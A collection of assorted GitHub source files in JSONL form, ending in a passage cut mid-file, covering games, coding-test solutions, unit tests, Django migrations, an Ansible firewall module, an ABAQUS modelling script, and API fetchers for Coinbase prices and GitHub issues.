+{"seq_id":"6711145355","text":"from components.components import *\nfrom components.componentsystem import Viewport\nfrom game.misc.lang import Lang\nfrom game.misc.sounds import Sounds\nfrom util.myenvironment import Environment\nfrom util.utils import Util\n\n\nclass PauseMenu(Viewport):\n    \"\"\"\n    Just a super barebones pause menu, I dont think a lot of commenting is really needed here\n    \"\"\"\n    def __init__(self, size: tuple[int, int], environment: Environment):\n        super().__init__(size, environment)\n        self.setup()\n    \n    @Util.MonkeyUtils.autoErrorHandling\n    def setup(self):\n        self.lang = Lang()\n\n        self.pause_text = TextDisplay(location=(10, 10), text=self.lang.get(Lang.GAME_DISPLAY_STATE_PAUSED))\n        self.registerComponent(self.pause_text)\n        self.resume_button = Button(location=(10, 30), size=(100, 30), text=self.lang.get(Lang.MENU_ACTION_RESUME))\n        self.resume_button.on_click = lambda: (Sounds.playSound(Sounds.MENU_CLICK), self.resume())\n        self.registerComponent(self.resume_button)\n        self.exit_button = Button(location=(10, 70), size=(100, 30), text=self.lang.get(Lang.MENU_ACTION_EXIT))\n        self.exit_button.on_click = lambda: (Sounds.playSound(Sounds.MENU_CLICK), self.exit())\n        self.registerComponent(self.exit_button)\n\n        self.setCursor(Util.loadSpritesheet(\"data/assets/pointer.bmp\", (18, 18), 1, transparentColor=(69, 78, 91))[0])\n        self.setCustomCursorEnabled(True)\n    \n    @Util.MonkeyUtils.autoErrorHandling\n    def resume(self):\n        self.closed = True\n        self.environment['overlays'].remove(self)\n    \n    @Util.MonkeyUtils.autoErrorHandling\n    def exit(self):\n        self.environment.viewport.player.save(self.environment.viewport)\n        self.environment.viewport.save.save() # save the game\n        self.environment.viewport = Util.MonkeyUtils.getViewportFromName(\"mainmenu\")(self.environment.viewport.size, self.environment)\n        self.environment.last_viewports = [] # we don't want to go 'back' into the game\n        self.closed = True\n    \n    @Util.MonkeyUtils.autoErrorHandling\n    def draw(self, environment: dict):\n        super().draw(environment)\n\nVIEWPORT_CLASS = PauseMenu","repo_name":"DylanBruner/SurvivalGame","sub_path":"viewports/pausemenu.py","file_name":"pausemenu.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"815152174","text":"'''\nhttps://school.programmers.co.kr/learn/courses/30/lessons/92343\n프로그래머스 카카오 블라인드(92343) - 양과 늑대\n'''\n\ndef solution(info, edges):\n    visited = [0] * len(info)\n    answer = []\n    \n    def dfs(sheep, wolf):\n        if sheep > wolf:\n            answer.append(sheep)\n        else:\n            return\n        \n        for p, c in edges:\n            if visited[p] and not visited[c]:\n                visited[c] = 1\n                if info[c] == 0:\n                    dfs(sheep + 1, wolf)\n                else:\n                    dfs(sheep,wolf + 1)\n                visited[c] = 0\n                \n    visited[0] = 1\n    dfs(1, 0)\n    \n    return max(answer)\n","repo_name":"ehvzmf/CodingTest","sub_path":"cote/pm_92343.py","file_name":"pm_92343.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75457986750","text":"class Solution:\n    def maxProfit(self, prices: List[int]) -> int:\n        minVal = -1\n        maxProfit = 0\n        for i,price in enumerate(prices):\n            if minVal == -1:\n                minVal = price\n            else:\n                minVal = min(minVal, price)  \n            maxProfit = max(price-minVal, maxProfit)\n        return maxProfit","repo_name":"rkambo/coding-problems","sub_path":"leetcode/121_besttimetobuyandsellstock.py","file_name":"121_besttimetobuyandsellstock.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34665186889","text":"from unittest.mock import create_autospec\nimport pytest\nfrom resource_management.interactors.create_resource_interactor import \\\n    CreateResourcesInteractor\nfrom resource_management.interactors.storages.user_storage_interface import \\\n    UserStorageInterface\nfrom resource_management.interactors.storages.resource_storage_interface \\\n    import ResourceStorageInterface\nfrom resource_management.interactors.presenters.presenter_interface import \\\n    PresenterInterface\nfrom resource_management.dtos.dtos import ResourceDto\nfrom django_swagger_utils.drf_server.exceptions import BadRequest\n\n\ndef test_create_resource_when_user_not_admin_raise_exception():\n\n    #Arrange\n    user_id = 1\n    resource_name = 'github'\n    description = 'it has repository'\n    link = 'https://github.com'\n    thumbnail = 'https://github'\n\n    user_storage = create_autospec(UserStorageInterface)\n    resource_storage = create_autospec(ResourceStorageInterface)\n    presenter = create_autospec(PresenterInterface)\n\n    user_storage.is_user_admin_or_not.return_value = False\n    presenter.user_not_allowed_to_create_resource.side_effect = BadRequest\n\n    interactor = CreateResourcesInteractor(\n        user_storage=user_storage,\n        resource_storage=resource_storage,\n        presenter=presenter\n    )\n\n    #Act\n    with pytest.raises(BadRequest):\n        interactor.create_resource(\n            user_id=user_id,\n            resource_name=resource_name,\n            description=description,\n            link=link,\n            thumbnail=thumbnail\n        )\n    #Assert\n    user_storage.is_user_admin_or_not.assert_called_with(user_id=user_id)\n    presenter.user_not_allowed_to_create_resource.assert_called_once()\n\n\ndef test_create_resource_when_user_is_admin():\n\n    #Arrange\n    user_id = 1\n    resource_name = 'github'\n    description = 'it has repository'\n    link = 'https://github.com'\n    thumbnail = 'https://github'\n\n    \n\n    user_storage = create_autospec(UserStorageInterface)\n    resource_storage = create_autospec(ResourceStorageInterface)\n    presenter = create_autospec(PresenterInterface)\n\n    user_storage.is_user_admin_or_not.return_value = True\n\n    interactor = CreateResourcesInteractor(\n        user_storage=user_storage,\n        resource_storage=resource_storage,\n        presenter=presenter\n    )\n\n    #Act\n    interactor.create_resource(\n        user_id=user_id,\n        resource_name=resource_name,\n        description=description,\n        link=link,\n        thumbnail=thumbnail\n    )\n\n    #Assert\n    user_storage.is_user_admin_or_not.assert_called_with(user_id=user_id)\n    resource_storage.create_resource.assert_called_with(\n        resource_name=resource_name,\n        description=description,\n        link=link,\n        thumbnail=thumbnail\n    )\n","repo_name":"Ganga-Prathap/resource_management","sub_path":"resource_management/tests/interactors/test_create_resource_interactor.py","file_name":"test_create_resource_interactor.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6741614982","text":"import matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\nclass ImageProcessor:\n    def load(self, path):\n        img = mpimg.imread(path)\n        print(\"Loading image of dimensions %d x %d\" % img.shape[:-1])\n        return img\n\n    def display(self, array):\n        plt.imshow(array)\n        plt.show()\n\nimp = ImageProcessor()\narr = imp.load(\"../resources/42AI.png\")\nprint(arr)\nimp.display(arr)\n","repo_name":"masakiva/python_bootcamp","sub_path":"python/day03/ex01/ImageProcessor.py","file_name":"ImageProcessor.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38870584864","text":"from django.urls import path, re_path\nfrom . import views\n\nurlpatterns = [\n    path('register/', views.accounts_register, name='register'),\n    path('activate/<slug:uidb64>/<slug:token>)/', views.activate, name='activate'), \n    #path('myprofile/', views.myprofile, name='myprofile'), \n    path('update/', views.UpdateProfile.as_view(), name='my_account'), \n    #path('myposts/', views.mypostsview, name='myposts')\n    #re_path(r'^settings/account/$', views.UpdateProfile.as_view(), name='my_account'),\n]\n\n","repo_name":"dumbleKnight/WoojiWeb","sub_path":"wjweb/accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74627323069","text":"# _*_ coding: utf-8 _*_\n\n\"\"\"\nRe-save the file of word (character) embeddings to `npy` format and\nconstruct the mapping between words and its corresponding indices.\n\nAuthor: StrongXGP (xgp1227@gmail.com)\nDate:   2018/07/29\n\"\"\"\n\nimport gc\nimport pickle\nimport numpy as np\n\nEMBEDDING_SIZE = 300\nSPECIAL_SYMBOLS = ['<PAD>', '<UNK>']\n\n\ndef load_embedding(embedding_file):\n    \"\"\"Load embeddings from file.\"\"\"\n    np.random.seed(42)\n\n    with open(embedding_file, 'r', encoding='utf-8') as f:\n        lines = f.read().splitlines()[1:]  # remove first line (embedding description line)\n\n    id_to_symbol_map = dict()\n    symbol_to_id_map = dict()\n    for i, symbol in enumerate(SPECIAL_SYMBOLS):\n        id_to_symbol_map[i] = symbol\n        symbol_to_id_map[symbol] = i\n\n    num_total_symbols = len(SPECIAL_SYMBOLS) + len(lines)\n    embeddings = np.zeros((num_total_symbols, EMBEDDING_SIZE), dtype=np.float32)\n    embeddings[1] = np.random.randn(EMBEDDING_SIZE)  # the values of 'UNK' satisfy the normal distribution\n\n    index = 2\n    for line in lines:\n        cols = line.split()\n        id_to_symbol_map[index] = cols[0]\n        symbol_to_id_map[cols[0]] = index\n        embeddings[index] = np.array(cols[1:], dtype=np.float32)\n        index += 1\n\n    return id_to_symbol_map, symbol_to_id_map, embeddings\n\n\ndef main():\n    print(\"[INFO] Load character embeddings...\")\n    char_embedding_file = \"../../embeddings/datagrand-char-300d.txt\"\n    id_to_char_map, char_to_id_map, char_embeddings = load_embedding(char_embedding_file)\n    print(\"[INFO] Finished!\")\n\n    print(\"[INFO] Save character embeddings...\")\n    id_to_char_file = \"../../embeddings/id2char.pkl\"\n    char_to_id_file = \"../../embeddings/char2id.pkl\"\n    char_embedding_resave_file = \"../../embeddings/char-embedding-300d.npy\"\n    with open(id_to_char_file, 'wb') as fout:\n        pickle.dump(id_to_char_map, fout)\n    with open(char_to_id_file, 'wb') as fout:\n        pickle.dump(char_to_id_map, fout)\n    np.save(char_embedding_resave_file, char_embeddings)\n    print(\"[INFO] Finish!\")\n\n    del id_to_char_map, char_to_id_map, char_embeddings\n    gc.collect()\n\n    print(\"[INFO] Load word embeddings...\")\n    word_embedding_file = \"../../embeddings/datagrand-word-300d-mc5.txt\"\n    id_to_word_map, word_to_id_map, word_embeddings = load_embedding(word_embedding_file)\n    print(\"[INFO] Finished!\")\n\n    print(\"[INFO] Save word embeddings...\")\n    id_to_word_file = \"../../embeddings/id2word.pkl\"\n    word_to_id_file = \"../../embeddings/word2id.pkl\"\n    word_embedding_resave_file = \"../../embeddings/word-embedding-300d-mc5.npy\"\n    with open(id_to_word_file, 'wb') as fout:\n        pickle.dump(id_to_word_map, fout)\n    with open(word_to_id_file, 'wb') as fout:\n        pickle.dump(word_to_id_map, fout)\n    np.save(word_embedding_resave_file, word_embeddings)\n    print(\"[INFO] Finished!\")\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Genpeng/datagrand-text-classification","sub_path":"src/preprocess/resave_embeddings.py","file_name":"resave_embeddings.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"60"}
+{"seq_id":"19636797034","text":"import numpy as np\n\nimport delamo.CADwrap\nfrom delamo.api import DelamoModeler \nfrom delamo.api import Layer\nfrom delamo.api import bond_layers\nfrom delamo import process\n\nimport os\nimport sys\n\n# Front matter\n# ------------\n\n# Read ACIS license key\nacis_license = delamo.CADwrap.read_license_key(filename=\"license.dat\")\n\n# Initialize the DeLaMo model\nDM=DelamoModeler.Initialize(globals(),\n                                   pointtolerancefactor=100.0,\n                                   normaltolerance=100e-4,\n                                   license_key=acis_license)\n\n\n# In manually generated scripts, always specify phase\n# to be \"ORIGINAL\"\n(script_to_generate,\n cad_file_path_from_script,\n layer_boundary_template) = process.output_filenames(\"14_Planar_Split\",phase=\"ORIGINAL\")\n\n\n# When writing a DeLaMo script, you start by creating a \n# finite element initialization script. This is a \n# Python script for ABAQUS that defines your various parameters\n# -- material properties, etc. as Python variables.  \n# In this case they are stored in the \"abqparams_CFRP.py\" file\nDM.abaqus_init_script(\"abqparams_CFRP.py\",globals())\n\n\n# The above call automatically inserts wrapped copies of variables \n# defined in those scripts into the global variable space. Then you \n# can reference those variables in this script \n\n\n# The DM contains generates several sets of instructions\n# for different phases of the finite element modeling process:\n# DM.initinstrs  (initialization)\n# DM.assemblyinstrs (model assembly)\n# DM.bcinstrs (boundary conditions)\n# DM.meshinstrs (meshing)\n\n# All methods called from those variables will go generally be executed\n# in the assemblyinstrs pool unless otherwise overridden. You can\n# use e.g. DM.meshinstrs.rewrapobj() to get a reference to \n# one of these variables that will execute in an alternate context. \n#\n# For example, \nLaminateAssemblyMeshing=DM.meshinstrs.rewrapobj(LaminateAssembly)\n# Creates a reference to the LaminateAssembly, for which method calls\n# execute in the meshing context\n\n\n# Basic parameters\n\n# Set layer thickness\nthickness = 0.199\n\n# Create the NURBS mold surface \n# over which the lamina will be laid\nmold = delamo.CADwrap.NURBSd()\nmold.degree_u=3\nmold.degree_v=3\nmold.knotvector_u = [0, 0, 0, 0, 1, 2, 3, 3, 3, 3]\nmold.knotvector_v = [0, 0, 0, 0, 1, 2, 3, 3, 3, 3]\nmold.read_ctrlpts(\"data/CP_Planar1.txt\")\ndefault_weight = 1.0\nmold.weights = [default_weight for i in range(0, mold.ctrlpts_len())]\n\n\n# Create 1st layer\n                        \nlayer1 = Layer.CreateFromMold(DM,mold,delamo.CADwrap.OFFSET_DIRECTION,thickness,\"Layer 1\",LaminaSection,0)\nlayer1.Finalize(DM)\nlayer1.MeshSimple(MeshElemTypes,meshsize,abqC.HEX_DOMINATED,abqC.SYSTEM_ASSIGN)\n\n# Create and add point marker for fixed faced boundary condition\nFixedPoint=[-25.0,-20.0,0.1] \n\nFEModel.EncastreBC(name=\"FixedFace_%d\" % (DM.get_unique()),\n                   createStepName=ApplyForceStep.name,\n                   region=layer1.singlepart.GetInstanceFaceRegion(FixedPoint,DM.pointtolerance))\n\n# Create 2nd layer\n\nlayer2 = Layer.CreateFromLayer(DM,layer1.gk_layer,delamo.CADwrap.OFFSET_DIRECTION,thickness,\"Layer 2\", LaminaSection,-45)\nlayer2.Finalize(DM)\nlayer2.MeshSimple(MeshElemTypes,meshsize/1.8,abqC.TET,abqC.FREE)\n\n#bond_layers(DM,layer1, layer2, delamo.CADwrap.BC_COHESIVE, CohesiveInteraction, ContactInteraction)\nbond_layers(DM,layer1, layer2)\n\n# Update and add point marker for fixed faced boundary condition\nFixedPoint[2]+=thickness\nFEModel.EncastreBC(name=\"FixedFace_%d\" % (DM.get_unique()),\n                   createStepName=ApplyForceStep.name,\n                   region=layer2.singlepart.GetInstanceFaceRegion(FixedPoint,DM.pointtolerance))\n\n\n# Create 3rd layer\nlayer3 = Layer.CreateSplitLayer(DM,layer2.gk_layer,delamo.CADwrap.OFFSET_DIRECTION,thickness,\"Layer 3\",LaminaSection,0,\"data/SplitLine.csv\")\n#layer3 = Layer.CreateFromLayer(DM,layer2.gk_layer,delamo.CADwrap.OFFSET_DIRECTION,thickness,\"Layer 3\",LaminaSection,0)\nlayer3.Finalize(DM)\nlayer3.MeshSimple(MeshElemTypes,meshsize/1.8,abqC.TET,abqC.FREE)\n\nbond_layers(DM,layer2, layer3, defaultBC=delamo.CADwrap.BC_COHESIVE,\n            CohesiveInteraction=CohesiveInteraction,\n            ContactInteraction=ContactInteraction)\n\n# Update and add point marker for fixed faced boundary condition\nFixedPoint[2]+=thickness\nFEModel.EncastreBC(name=\"FixedFace_%d\" % (DM.get_unique()),\n                   createStepName=ApplyForceStep.name,\n                   # Note: layer3 has two parts... need to determine experimentally whether we want parts[0] or parts[1] (!)\n                   region=layer3.parts[sorted(list(layer3.parts.keys()))[0]].GetInstanceFaceRegion(FixedPoint,DM.pointtolerance))\n\n\n# Create 4th layer -- should use finemeshsize because this is where \n# delamination might go \nlayer4 = Layer.CreateFromLayer(DM,layer3.gk_layer,delamo.CADwrap.OFFSET_DIRECTION,thickness,\"Layer 4\",LaminaSection,45)\nlayer4.Finalize(DM)\nlayer4.MeshSimple(MeshElemTypes,meshsize/2.0,abqC.TET,abqC.FREE)\n\nbond_layers(DM,layer3, layer4,\n            defaultBC=delamo.CADwrap.BC_COHESIVE,\n            CohesiveInteraction=CohesiveInteraction,\n            ContactInteraction=ContactInteraction)\n# bond_layers(DM,layer3, layer4)\n\n# Update and add point marker for fixed faced boundary condition\nFixedPoint[2]+=thickness\nFEModel.EncastreBC(name=\"FixedFace_%d\" % (DM.get_unique()),\n                   createStepName=ApplyForceStep.name,\n                   region=layer4.singlepart.GetInstanceFaceRegion(FixedPoint,DM.pointtolerance))\n\nlayer5 = Layer.CreateFromLayer(DM,layer4.gk_layer,delamo.CADwrap.OFFSET_DIRECTION,thickness,\"Layer 5\",LaminaSection,0)\nlayer5.Finalize(DM)\n\nlayer5.MeshSimple(MeshElemTypes,meshsize/2.0,abqC.HEX_DOMINATED,abqC.SYSTEM_ASSIGN)\n\n\nbond_layers(DM,layer4, layer5)\n\n\nForceVector=[ 0.0, 0.0, -5e-2 ] # Units of MPa \n# Call ABAQUS SurfaceTraction method\n# Again, this came from looking at ABAQUS replay (.rpy) output\n# Observe again that all ABAQUS symbolic constants need the \"abqC\"\n# prefix. \nFEModel.SurfaceTraction(name=\"SurfaceTraction_%d\" % (DM.get_unique()),\n                        createStepName=ApplyForceStep.name,\n                        region=layer1.singlepart.GetInstanceFaceRegionSurface((24.0,24.0,thickness*0.0),DM.pointtolerance),\n                        distributionType=abqC.UNIFORM,\n                        field='',\n                        localCsys=None,\n                        traction=abqC.GENERAL,\n                        follower=abqC.OFF,\n                        resultant=abqC.ON,\n                        magnitude=np.linalg.norm(ForceVector),\n                        directionVector=((0.0,0.0,0.0),tuple(ForceVector/np.linalg.norm(ForceVector))),\n                        amplitude=abqC.UNSET)\n\n\n# You can have the job auto-start when the Python script is run\n#DM.RunJob(BendingJob)\n\n# Finalization generates the output script and CAD model. \nDM.Finalize(script_to_generate,cad_file_path_from_script)\n","repo_name":"idealab-isu/de-la-mo","sub_path":"examples/14_Planar_Split.py","file_name":"14_Planar_Split.py","file_ext":"py","file_size_in_byte":6931,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"20833656045","text":"import random\n\ndef randNum():\n    digits = list(range(1, 10))\n    random.shuffle(digits)\n    return tuple(digits[:3])\n\ndef ansToTuple(num:str):\n    if not num.isnumeric():\n        return None\n    if len(num) != 3:\n        return None\n    \n    rtn = []\n    for n in num:\n        rtn.append(int(n))\n    return tuple(rtn)\n\ndef checkAnswer(guess, answer):\n    hits = 0\n    blows = 0\n    \n    for i in range(0,3):\n        if guess[i] == answer[i]:\n            hits += 1\n    \n    if guess[0] == answer[1] or guess[0] == answer[2]:\n        blows += 1\n    if guess[1] == answer[0] or guess[1] == answer[2]:\n        blows += 1\n    if guess[2] == answer[0] or guess[2] == answer[1]:\n        blows += 1\n    \n    print(f\"{hits} hit(s), {blows} blow(s)!\")\n    print()\n    return (hits, blows)\n\ndef main():\n    player_num = None\n    cpu_num = randNum()\n    tries = 1\n    won = False\n    \n    while tries < 10 and won == False:\n        player_num = ansToTuple(input(\"Enter a three-digit number. \"))\n        while player_num == None:\n            print(\"Invalid response.\")\n            player_num = ansToTuple(input(\"Enter a three-digit number. \"))\n        if checkAnswer(player_num, cpu_num) == (3, 0):\n            won = True\n        else:\n            tries += 1\n            print(f\"You have {10-tries} tries left.\")\n    \n    if won == True:\n        print(f\"You won in {tries} tries!\")\n    else:\n        print(f\"Game over! The number was {cpu_num}.\")\n\nif __name__ == \"__main__\":\n    main()","repo_name":"LaunchHub44/mastermind","sub_path":"indie/hit_n_blow.py","file_name":"hit_n_blow.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72898509630","text":"from camera_thread import CameraThread\nfrom mediapipe_thread import MediapipeThread\nfrom socket_thread import SocketThread\n\n\ndef main():\n    \n    \n    shared_data = {\"Move\": None}\n\n    # Create and start threads\n    camera_thread = CameraThread()\n    mediapipe_thread = MediapipeThread(camera_thread, shared_data)\n    socket_thread = SocketThread(mediapipe_thread, shared_data)\n\n    camera_thread.start()\n    mediapipe_thread.start()\n    socket_thread.start()\n\n    try:\n        while True:\n            # Print shared data (for debugging purposes)\n            pass\n    except KeyboardInterrupt:\n        # Handle Ctrl+C gracefully\n        print(\"Terminating the application...\")\n        camera_thread.stop()\n        mediapipe_thread.running = False\n        socket_thread.running = False\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"nourelsamaa/hci","sub_path":"pythonscript/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8440086293","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n#  Copyright 2019 Palo Alto Networks, Inc\n#\n#  Licensed under the Apache License, Version 2.0 (the \"License\");\n#  you may not use this file except in compliance with the License.\n#  You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS,\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n                    'status': ['preview'],\n                    'supported_by': 'community'}\n\n\nDOCUMENTATION = '''\n---\nmodule: panos_virtual_wire\nshort_description: Configures Virtual Wires (vwire).\ndescription:\n    - NOTE: The modules in this role are deprecated in favour of the modules in the collection U(https://paloaltonetworks.github.io/pan-os-ansible)\n    - Manage PAN-OS Virtual Wires (vwire).\nauthor: \"Patrick Avery\"\nversion_added: \"2.8\"\nrequirements:\n    - pan-python\n    - pandevice\nextends_documentation_fragment:\n    - panos.transitional_provider\n    - panos.state\n    - panos.vsys_import\n    - panos.full_template_support\nnotes:\n    - Checkmode is supported.\n    - Panorama is supported.\noptions:\n    name:\n        description:\n            -  Name of the Virtual Wire\n        required: True\n    interface1:\n        description:\n            - First interface of Virtual Wire\n        required: True\n    interface2:\n        description:\n            - Second interface of Virtual Wire\n        required: True\n    tag:\n        description:\n            - Set tag that is allowed over Virtual Wire.  Currently\n              pandevice only supports all (default) or 1 tag.\n    multicast:\n        description:\n            - Enable multicast firewalling\n        type: bool\n    pass_through:\n        description:\n            - Enable link state pass through\n        type: bool\n'''\n\nEXAMPLES = '''\n- name: Create Vwire\n  panos_virtual_wire:\n    provider: '{{ provider }}'\n    name: 'vwire1'\n    interface1: 'ethernet1/1'\n    interface2: 'ethernet1/2'\n    tag: 100\n    multicast: 'true'\n    pass_through: 'true'\n'''\n\nRETURN = '''\n# Default return values\n'''\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.network.panos.panos import get_connection\n\n\ntry:\n    from pandevice.network import VirtualWire\n    from pandevice.errors import PanDeviceError\nexcept ImportError:\n    pass\n\n\ndef main():\n    helper = get_connection(\n        vsys_importable=True,\n        template=True,\n        template_stack=True,\n        with_state=True,\n        with_classic_provider_spec=True,\n        argument_spec=dict(\n            name=dict(required=True, ),\n            interface1=dict(required=True),\n            interface2=dict(required=True),\n            tag=dict(type=int,),\n            multicast=dict(type=bool,),\n            pass_through=dict(type=bool,),\n        ),\n    )\n\n    module = AnsibleModule(\n        argument_spec=helper.argument_spec,\n        supports_check_mode=True,\n        required_one_of=helper.required_one_of,\n    )\n\n    parent = helper.get_pandevice_parent(module)\n\n    spec = {\n        'name': module.params['name'],\n        'interface1': module.params['interface1'],\n        'interface2': module.params['interface2'],\n        'tag': module.params['tag'],\n        'multicast': module.params['multicast'],\n        'pass_through': module.params['pass_through']\n    }\n    obj = VirtualWire(**spec)\n\n    try:\n        listing = VirtualWire.refreshall(parent, matching_vsys=False)\n    except PanDeviceError as e:\n        module.fail_json(msg='Failed refresh: {0}'.format(e))\n\n    reference_params = {\n        'refresh': True,\n        'update': not module.check_mode,\n        'return_type': 'bool',\n    }\n    parent.add(obj)\n\n    changed = False\n    if module.params['state'] == 'present':\n        for vwire in listing:\n            if vwire.name != obj.name:\n                continue\n            if not vwire.equal(obj, compare_children=False):\n                changed = True\n                obj.extend(vwire.children)\n                if not module.check_mode:\n                    try:\n                        obj.apply()\n                    except PanDeviceError as e:\n                        module.fail_json(msg='Failed apply: {0}'.format(e))\n            break\n        else:\n            changed = True\n            if not module.check_mode:\n                try:\n                    obj.create()\n                except PanDeviceError as e:\n                    module.fail_json(msg='Failed create: {0}'.format(e))\n        try:\n            changed |= obj.set_vsys(module.params['vsys'], **reference_params)\n        except PanDeviceError as e:\n            module.fail_json(msg='Failed setref: {0}'.format(e))\n    elif module.params['state'] == 'absent':\n        try:\n            changed |= obj.set_vsys(None, **reference_params)\n        except PanDeviceError as e:\n            module.fail_json(msg='Failed setref: {0}'.format(e))\n        if obj.name in [x.name for x in listing]:\n            changed = True\n            if not module.check_mode:\n                try:\n                    obj.delete()\n                except PanDeviceError as e:\n                    module.fail_json(msg='Failed delete: {0}'.format(e))\n\n    module.exit_json(changed=changed, msg='done')\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"PaloAltoNetworks/ansible-pan","sub_path":"library/panos_virtual_wire.py","file_name":"panos_virtual_wire.py","file_ext":"py","file_size_in_byte":5610,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"60"}
+{"seq_id":"13191906806","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('api2', '0034_auto_20150914_1949'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='MainImpact',\n            fields=[\n                ('id', models.AutoField(serialize=False, verbose_name='ID', auto_created=True, primary_key=True)),\n                ('via', models.CharField(max_length=200)),\n                ('alternatives', models.ManyToManyField(to='api2.Alternative')),\n                ('impactCateg', models.ForeignKey(to='api2.ImpactCateg', verbose_name='has this impact')),\n            ],\n        ),\n        migrations.AlterField(\n            model_name='topic',\n            name='in_navigation_bar',\n            field=models.BooleanField(default=False, verbose_name='appears in main menu'),\n        ),\n        migrations.AddField(\n            model_name='mainimpact',\n            name='topics',\n            field=models.ManyToManyField(to='api2.Topic'),\n        ),\n    ]\n","repo_name":"rangeonnicolas/alternwebsite","sub_path":"api2/migrations/0035_auto_20150920_1243.py","file_name":"0035_auto_20150920_1243.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"70778177472","text":"# -*- coding: utf-8 -*-\nimport requests\nimport datetime\n\n\nclass Coinbase:\n    \n    name = 'Coinbase'\n\n    api = 'https://api.coinbase.com/v2/'\n\n    wait_time = 1\n\n    valid_pairs = {'BTC' : ['USD', 'EUR', 'GBP'], \n                   'BCH' : ['USD', 'EUR', 'GBP'], \n                   'ETH' : ['USD', 'EUR', 'GBP'], \n                   'LTC' : ['USD', 'EUR', 'GBP']\n                   }\n\n    responses = {\n        200 : 'OK: successful request',\n        201 : 'Created: new object saved',\n        204 : 'No content: object deleted',\n        400 : 'Bad Request: read JSON error message',\n        401 : 'Unauthorized: couldn’t authenticate your request',\n        402 : '2FA Token required: re-try request with user’s 2FA token as CB-2FA-Token header',\n        403 : 'Invalid scope: user hasn’t authorized necessary scope',\n        404 : 'Not Found: no such object',\n        429 : 'Too Many Requests: your connection is being rate limited',\n        500 : 'Internal Server Error: something went wrong',\n        503 : 'Service Unavailable: your connection is being throttled \\\n               or the service is down for maintenance'\n    }\n\n    def __init__(self):\n        self.lastCheck = datetime.datetime.fromtimestamp(0)\n\n\n    def getData(self, base, quote):\n        \n        currencyPair = base + '-' + quote\n\n        data = requests.get(self.api + 'prices/' + currencyPair + '/spot')\n\n        if data.status_code != 200:\n            print(self.name + ' error: ' + self.responses[data.status_code])\n            return {}\n\n        data = data.json()['data']\n\n        out = {}\n\n        out['base'] = base\n        out['quote'] = quote\n        out['price' ] = float(data.pop('amount'))\n        out['low24h' ] = -1\n        out['high24h'] = -1\n        out['change24h'] = -1\n        out['volume24hbase'] = -1\n        out['volume24hquote'] = -1\n\n        return out","repo_name":"dvilelaf/Tickly","sub_path":"Exchanges/Coinbase.py","file_name":"Coinbase.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"27775558882","text":"# 取得するやつ\n# key: Jenkins-27380とか\n# creationdate\n# resolutiondate\n\nimport requests, os\nimport json\nimport argparse\n\ndef fetch(owner, project, pathOutput):\n    d={}\n    d[\"total\"]=0\n    d[\"issues\"]=[]\n\n    page=1\n    while(True):\n        url = 'https://api.github.com/repos/' + owner + '/' + project + '/issues?state=closed&labels=bug&per_page=100&page='+str(page)\n        print(url)\n        res = requests.get(url)\n        issues = json.loads(res.text)\n        for issue in issues:\n            issue[\"key\"]=str(issue[\"number\"])\n            dateCreated = issue[\"created_at\"]\n            dateResolved = issue[\"closed_at\"]\n            fields = {\"created\":dateCreated, \"resolutiondate\":dateResolved}\n            issue[\"fields\"]=fields\n        if(len(issues)==0):\n            break\n        d[\"issues\"].extend(issues)\n        page=page+1\n    d[\"total\"]=len(d[\"issues\"])\n\n    with open('reports.json', 'w', encoding=\"utf-8\") as f:\n        json.dump(d, f, indent=4)\n\n#while start_at < total:\n#    with url.urlopen(request.format(jql, start_at, max_results)) as conn:\n#        dTmp = json.loads(conn.read().decode('utf-8'))\n#        for issue in dTmp[\"issues\"]:\n#            id =issue[\"key\"]\n#            dateCreated = str(issue[\"fields\"][\"created\"])\n#            dateResolved = str(issue[\"fields\"][\"resolutiondate\"])\n#            fields = {\"created\":dateCreated, \"resolutiondate\":dateResolved}\n#            